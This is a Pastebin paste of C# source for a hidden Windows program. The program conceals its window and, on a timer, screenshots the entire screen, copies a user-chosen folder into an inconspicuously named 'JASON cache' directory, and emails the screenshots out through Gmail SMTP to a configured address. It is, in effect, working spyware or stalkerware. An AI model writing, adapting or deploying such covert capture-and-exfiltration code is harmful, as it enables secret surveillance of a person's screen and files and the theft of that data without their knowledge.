Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.ComponentModel;
- using System.Data;
- using System.Drawing;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Windows.Forms;
- using System.IO;
- using System.IO.Compression;
- using System.Threading;
- using System.Net;
- using System.Net.Mail;
- using System.Net.Mime;
- namespace WindowsFormsApp19
- {
- public partial class Form1 : Form
- {
- public Form1()
- {
- InitializeComponent();
- }
- string currentDirect = "";
- bool enabled = true;
- string downloadPath = "";
- int delayTime = 10000;
- bool download = true;
- bool stop = false;
- string smtpPass = "";
- string smtpUser = "";
- string forward = "";
- List<string> errorList = new List<string>(new string[] { });
- static HttpListener _httpListener = new HttpListener();
- private void Form1_Load(object sender, EventArgs e)
- {
- this.Hide();
- Main();
- }
- public void Main()
- {
- this.Hide();
- while (stop == false)
- {
- Thread.Sleep(delayTime);
- firstBootCheck();
- if (enabled == true)
- {
- this.Hide();
- CreateD();
- screenShot();
- copy();
- email();
- errors();
- Console.WriteLine("{} Delay Time: " + delayTime);
- }
- }
- this.Close();
- Application.Exit();
- }
- public void errors()
- {
- TextWriter tw = new StreamWriter(@"C:\Users\Public\JASON cache\Data\errorList.txt");
- foreach (string value in errorList)
- {
- tw.WriteLine(value);
- }
- tw.Close();
- }
- public void CreateD()
- {
- try
- {
- Console.WriteLine("[] Creating directry");
- string date = (DateTime.Now.ToString());
- string title = ("Date " + date[0].ToString() + date[1].ToString() + "-" + date[3].ToString() + date[4].ToString() + "-" + date[8].ToString() + date[9].ToString() + " ~ Time -" + date[11].ToString() + date[12].ToString() + "-" + date[14].ToString() + date[15].ToString() + "-" + date[17].ToString() + date[18].ToString());
- string path = @"C:\Users\Public\JASON cache\Data\data03\snips\" + title;
- System.IO.Directory.CreateDirectory(path);
- currentDirect = path;
- }
- catch
- {
- errorList.Add(DateTime.Now + ": CreateD(): Error with creating directrys");
- }
- }
- public void screenShot()
- {
- try
- {
- Console.WriteLine("[] Sheenshot");
- string title = (DateTime.Now.ToString());
- string path = currentDirect + @"\Snipping" + ".jpg";
- Console.WriteLine(path);
- Rectangle bounds = Screen.GetBounds(Point.Empty);
- using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height))
- {
- using (Graphics g = Graphics.FromImage(bitmap))
- {
- g.CopyFromScreen(Point.Empty, Point.Empty, bounds.Size);
- }
- bitmap.Save(path, System.Drawing.Imaging.ImageFormat.Jpeg);
- }
- }
- catch
- {
- errorList.Add(DateTime.Now + ": screenshot(): Error with creating directrys");
- Console.WriteLine(DateTime.Now + ": screenshot(): Error with creating directrys");
- }
- }
- public void copy()
- {
- try
- {
- if (download == true)
- {
- List<string> downloadLocation = File.ReadAllLines(@"C:\Users\Public\JASON cache\Data\data03\downloadLoc.txt").ToList();
- downloadPath = downloadLocation[0];
- string startPath = downloadPath;
- if(downloadPath == null)
- {
- downloadPath = @"C:\Users\Public\JASON cache\Data\data02";
- }
- Console.WriteLine("downloadPath = " + downloadPath);
- Console.WriteLine("Zippath = " + currentDirect + @"\Zipped Downloads" + ".zip");
- Console.WriteLine("extractpath = " + currentDirect + @"\Folder Downloads");
- string zipPath = @"C:\Users\Public\JASON cache\Data\data03\tempZipped" + ".zip";
- string extractPath = currentDirect + @"\Folder Downloads";
- File.Delete(zipPath);
- ZipFile.CreateFromDirectory(startPath, zipPath);
- ZipFile.ExtractToDirectory(zipPath, extractPath);
- }
- }
- catch
- {
- errorList.Add(DateTime.Now + ": Copy(): Error with copying directrys");
- Console.WriteLine(DateTime.Now + ": Copy(): Error with copying directrys");
- }
- }
- private void email()
- {
- try
- {
- string htmlBody = "<html><body><h1>PC Screenshot</h1><br><img src=\"cid:Pic1\"></body></html>";
- AlternateView avHtml = AlternateView.CreateAlternateViewFromString
- (htmlBody, null, MediaTypeNames.Text.Html);
- LinkedResource pic1 = new LinkedResource(currentDirect + @"\Snipping.jpg", MediaTypeNames.Image.Jpeg);
- pic1.ContentId = "Pic1";
- avHtml.LinkedResources.Add(pic1);
- MailMessage m = new MailMessage();
- m.AlternateViews.Add(avHtml);
- m.From = new MailAddress(smtpUser, ("Screenshot is currently located: " + currentDirect));
- m.To.Add(new MailAddress(forward, ("Screenshot is currently located: " + currentDirect)));
- m.Subject = ("Screenshot: " + DateTime.Now.ToString());
- SmtpClient client = new SmtpClient("smtp.gmail.com", 587);
- client.Host = "smtp.gmail.com";
- client.UseDefaultCredentials = false;
- client.Credentials = new NetworkCredential(smtpUser, smtpPass); //basicClientSend
- client.DeliveryMethod = SmtpDeliveryMethod.Network;
- client.EnableSsl = true;
- client.Send(m);
- }
- catch
- {
- errorList.Add(DateTime.Now + ": email(): Error with sending emails");
- Console.WriteLine(DateTime.Now + ": email(): Error with sending emails");
- }
- }
- public void firstBootCheck()
- {
- try
- {
- Console.WriteLine("[] Testing for files");
- List<string> FLtest1 = File.ReadAllLines(@"C:\Users\Public\JASON cache\Data\Uni code -e.txt").ToList();
- }
- catch
- {
- try
- {
- Console.WriteLine("[] Creating files");
- System.IO.Directory.CreateDirectory(@"C:\Users\Public\JASON cache");
- System.IO.Directory.CreateDirectory(@"C:\Users\Public\JASON cache\Data");
- System.IO.Directory.CreateDirectory(@"C:\Users\Public\JASON cache\Data\data01");
- System.IO.Directory.CreateDirectory(@"C:\Users\Public\JASON cache\Data\data02");
- System.IO.Directory.CreateDirectory(@"C:\Users\Public\JASON cache\Data\data03");
- System.IO.Directory.CreateDirectory(@"C:\Users\Public\JASON cache\Data\data03\snips");
- TextWriter tw = new StreamWriter(@"C:\Users\Public\JASON cache\info.txt");
- tw.WriteLine("node: disabled");
- tw.Close();
- TextWriter tw2 = new StreamWriter(@"C:\Users\Public\JASON cache\JSON Controller.txt");
- tw2.WriteLine("[04354AJG] - key");
- tw2.Close();
- TextWriter tw3 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\Uni code -e.txt");
- tw3.WriteLine("true");
- tw3.Close();
- TextWriter tw4 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\data03\downloadLoc.txt");
- tw4.WriteLine("null");
- tw4.Close();
- TextWriter tw8 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\smtpForwardLocation.txt");
- tw8.WriteLine("");
- tw8.Close();
- TextWriter tw6 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\backup.txt");
- tw6.WriteLine("false");
- tw6.Close();
- TextWriter tw7 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\ticks.txt");
- tw7.WriteLine("10000");
- tw7.Close();
- TextWriter tw9 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\smtpData.txt");
- tw9.WriteLine("");
- tw9.WriteLine("");
- tw9.Close();
- TextWriter tw10 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\errorList.txt");
- tw10.WriteLine("");
- tw10.Close();
- TextWriter tw11 = new StreamWriter(@"C:\Users\Public\JASON cache\Data\data02\null.txt");
- tw11.WriteLine("null");
- tw11.Close();
- Console.WriteLine("[] All files created successfully");
- MessageBox.Show("Files have been created, to track downloads please clikc on the downloads location after this message.");
- using (var folderDialog = new FolderBrowserDialog())
- {
- if (folderDialog.ShowDialog() == DialogResult.OK)
- {
- Console.WriteLine("[] Open file dialog");
- MessageBox.Show("File location set to: " + folderDialog.SelectedPath);
- TextWriter tw5 = new StreamWriter(@"C: \Users\Public\JASON cache\Data\data03\downloadLoc.txt");
- tw5.WriteLine(folderDialog.SelectedPath);
- tw5.Close();
- }
- }
- Application.Exit();
- }
- catch
- {
- errorList.Add(DateTime.Now + ": firstBootCheck(): Error with creating files");
- Console.WriteLine(DateTime.Now + ": firstBootCheck(): Error with creating files" );
- }
- }
- try
- {
- List<string> downloadCheck = File.ReadAllLines(@"C:\Users\Public\JASON cache\Data\backup.txt").ToList();
- Console.WriteLine(downloadCheck[0]);
- if (downloadCheck[0] == "true")
- {
- Console.WriteLine("Enabled = true");
- download = true;
- }
- if (downloadCheck[0] == "false")
- {
- Console.WriteLine("Enabled = false");
- download = false;
- }
- }
- catch
- {
- errorList.Add(DateTime.Now + ": firstBootCheck() downloadCheck<>: Error with reading bool at: 'C:\\Users\\Public\\JASON cache\\Data\\backup.txt' ");
- Console.WriteLine(DateTime.Now + ": firstBootCheck() downloadCheck<>: Error with reading bool at: 'C:\\Users\\Public\\JASON cache\\Data\\backup.txt' ");
- }
- try
- {
- List<string> bootCheck = File.ReadAllLines(@"C:\Users\Public\JASON cache\Data\Uni code -e.txt").ToList();
- Console.WriteLine(bootCheck[0]);
- if (bootCheck[0] == "true")
- {
- Console.WriteLine("Enabled = true");
- enabled = true;
- }
- if (bootCheck[0] == "false")
- {
- Console.WriteLine("Enabled = false");
- enabled = false;
- }
- if (bootCheck[0] == "stop")
- {
- stop = true;
- Console.WriteLine("Enabled = stop");
- }
- }
- catch
- {
- errorList.Add(DateTime.Now + ": firstBootCheck() bootCheck<>: Error with reading bool at: 'C:\\Users\\Public\\JASON cache\\Data\\Uni code -e.txt' ");
- Console.WriteLine(DateTime.Now + ": firstBootCheck() bootCheck<>: Error with reading bool at: 'C:\\Users\\Public\\JASON cache\\Data\\Uni code -e.txt' ");
- }
- try
- {
- List<string> tickTime = File.ReadAllLines(@"C:\Users\Public\JASON cache\Data\ticks.txt").ToList();
- delayTime = Convert.ToInt32(tickTime[0]);
- }
- catch
- {
- errorList.Add(DateTime.Now + ": firstBootCheck() tickTime<>: Error with reading Convert.ToInt32(string) at: 'C:\\Users\\Public\\JASON cache\\Data\\ticks.txt' ");
- Console.WriteLine(DateTime.Now + ": firstBootCheck() tickTime<>: Error with reading Convert.ToInt32(string) at: 'C:\\Users\\Public\\JASON cache\\Data\\ticks.txt' ");
- }
- try
- {
- List<string> smtpData = File.ReadAllLines(@"C:\Users\Public\JASON cache\Data\smtpData.txt").ToList();
- smtpUser = smtpData[0];
- smtpPass = smtpData[1];
- }
- catch
- {
- errorList.Add(DateTime.Now + ": firstBootCheck() smtpData<>: Error with reading string at: 'C:\\Users\\Public\\JASON cache\\Data\\smtpData.txt' ");
- Console.WriteLine(DateTime.Now + ": firstBootCheck() smtpData<>: Error with reading string at: 'C:\\Users\\Public\\JASON cache\\Data\\smtpData.txt' ");
- }
- try
- {
- List<string> smtpForward = File.ReadAllLines(@"C:\Users\Public\JASON cache\Data\smtpForwardLocation.txt").ToList();
- forward = smtpForward[0];
- }
- catch
- {
- errorList.Add(DateTime.Now + ": smtpForward() smtpData<>: Error with reading string at: 'C:\\Users\\Public\\JASON cache\\Data\\smtpForwardLocation.txt' ");
- Console.WriteLine(DateTime.Now + ": smtpForward() smtpData<>: Error with reading string at: 'C:\\Users\\Public\\JASON cache\\Data\\smtpForwardLocation.txt' ");
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement